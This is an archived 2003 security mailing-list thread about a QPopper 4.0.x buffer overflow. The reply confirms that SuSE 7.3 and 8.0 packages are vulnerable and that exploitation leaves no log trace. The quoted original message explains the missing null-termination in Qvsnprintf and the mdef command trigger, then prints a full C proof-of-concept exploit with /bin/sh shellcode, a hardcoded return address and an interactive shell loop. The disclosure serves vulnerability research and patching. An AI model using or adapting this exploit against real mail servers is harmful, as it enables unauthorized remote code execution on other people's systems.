Re: QPopper 4.0.x buffer overflow vulnerability

From: Jonas Frey (jonas.freyat_private)
Date: Tue Mar 11 2003 - 12:42:11 PST

  • Next message: Rob Shein: "RE: Win32hlp exploit for : ":LINK overflow""

    Hello,
    
    i just checked and got:
    Suse 7.3 (qpopper.rpm 4.0.3-34) is vulnerable, you get 
    id
    uid=503(test) gid=0(root) groups=0(root)
    
    (Using Mailuser "test").
    
    Same goes for Suse 8.0 (qpopper-4.0.3-168)
    
    
    The overflow isnt logged anywhere, you just see normal pop logins.
    
    Jonas
    
    On Mon, 2003-03-10 at 15:31, Florian Heinz wrote:
    > Hello,
    > 
    > Under certain conditions it is possible to execute arbitrary code using
    > a buffer overflow in the recent qpopper.
    > 
    > You need a valid username/password-combination and code is (depending on
    > the setup) usually executed with the user's uid and gid mail.
    > 
    > Explanation:
    > 
    > Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This
    > function is used unconditionally on any system, regardless if the system
    > has its own vsnprintf().
    > The function correctly writes up to 'n' bytes into the buffer, but fails
    > to null-terminate it, if buffer-space runs out while copying the
    > format-string (so the obvious fix is, null-terminate the buffer in
    > Qvsnprintf()).
    > This is a problem in pop_msg() (popper/pop_msg.c).
    > The call to Qvsnprintf() can leave the buffer 'message' unterminated, so
    > the successive call to strcat (strcat(message,"\r\n")) writes somewhere
    > into thew stack. What it exactly overwrites depends heavily on the
    > individual binary and the current stack-data (where is the next
    > null-byte).
    > I successfully managed to execute arbitrary code using the
    > 'mdef'-command with the binary in the most recent debian-package
    > 'qpopper-4.0.4-8'
    > Sending 'mdef <macroname>()' with a macro-name of about 1000 bytes
    > fills the buffer leaving it unterminated. The strcat overwrites the
    > least significant byte of the saved basepointer on the stack,
    > now pointing inside the buffer. On return of pop_mdef() (file
    > pop_extend.c), the return-address is now fetched from within our buffer
    > (and of course pointing inside our buffer), allowing to, for example,
    > spawn a shell.
    > The Macroname may not include bytes causing isspace() to return true
    > and, of course, no null-byte, so shellcode must be appropriate crafted.
    > I have tested the qpopper from SuSE 8.1 too, the flaw exists too, but
    > SuSE is more lucky, strcat doesn't overwrite critical values. I have
    > not yet tested other distributions.
    > 
    > Here is a POC-exploit, Values for RETADDR and BUFSIZE adjusted for
    > debian qpopper-4.0.4-8:
    > 
    > -- snip --
    > 
    > 
    > #include <sys/socket.h>
    > #include <sys/select.h>
    > #include <netinet/in.h>
    > #include <arpa/inet.h>
    > #include <stdio.h>
    > #include <string.h>
    > #include <stdlib.h>
    > #include <unistd.h>
    > 
    > char *sc = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    >            "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x08\x40"
    >            "\x40\x40\xcd\x80";           
    > 
    > #define BUFLEN 1006
    > #define RETLEN 148
    > #define RETADDR 0xbfffd304
    > 
    > int main (int argc, char **argv) {
    >    int fd, len, i, retaddr = RETADDR;
    >    char *bp, buf[2000];
    >    struct sockaddr_in peer;
    >    fd_set fs;
    > 
    >    if (argc != 4) {
    >       fprintf(stderr, "Usage: %s <ip> <user> <pass>\n\n", argv[0]);
    >       exit(EXIT_FAILURE);
    >    }
    >    
    >    peer.sin_family = AF_INET;
    >    peer.sin_port = htons(110);
    >    peer.sin_addr.s_addr = inet_addr(argv[1]);
    >    fd = socket(AF_INET, SOCK_STREAM, 0);
    >    if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) {
    >       perror("connect");
    >       exit(EXIT_FAILURE);
    >    }
    >    snprintf(buf, 1024, "USER %s\n", argv[2]);
    >    write(fd, buf, strlen(buf));
    >    snprintf(buf, 1024, "PASS %s\n", argv[3]);
    >    write(fd, buf, strlen(buf));
    >    memset(buf, 0x90, 2000);
    >    memcpy(buf, "mdef ", 5);
    >    memcpy(buf + BUFLEN - RETLEN - strlen(sc), sc, strlen(sc));
    >    bp = (char *) (((unsigned int)(buf + BUFLEN - RETLEN)) & 0xfffffffc);
    >    for (i = 0; i < RETLEN; i += 4)
    >      memcpy(bp+i+2, &retaddr, sizeof(int));
    >    buf[BUFLEN-2] = '(';
    >    buf[BUFLEN-1] = ')';
    >    buf[BUFLEN] = '\n';
    >    write(fd, buf, BUFLEN+1);
    >    while (1) {
    >       FD_ZERO(&fs);
    >       FD_SET(0, &fs);
    >       FD_SET(fd, &fs);
    >       select(fd+1, &fs, NULL, NULL, NULL);
    >       if (FD_ISSET(0, &fs)) {
    > 	 if ((len = read(0, buf, 1000)) <= 0)
    > 	   break;
    > 	 write(fd, buf, len);
    >       } else {
    > 	 if ((len = read(fd, buf, 1000)) <= 0)
    > 	   break;
    > 	 write(1, buf, len);
    >       }
    >    }
    >    
    >    exit(EXIT_SUCCESS);
    > }
    > 
    > -- snap --
    > 
    > This is the short version. An enhanced version with error-checking,
    > bufsize- and return-address autodetection can be found on
    > http://nstx.dereference.de/snippets/qex.c
    > 
    > Feedback is welcome.
    > 
    > regards,
    > 
    > Florian Heinz
    > Cronon AG
    > http://www.cronon.org
    > 
    > PS: sorry for the bad english ;)
    > 
    



    This archive was generated by hypermail 2b30 : Tue Mar 11 2003 - 13:12:21 PST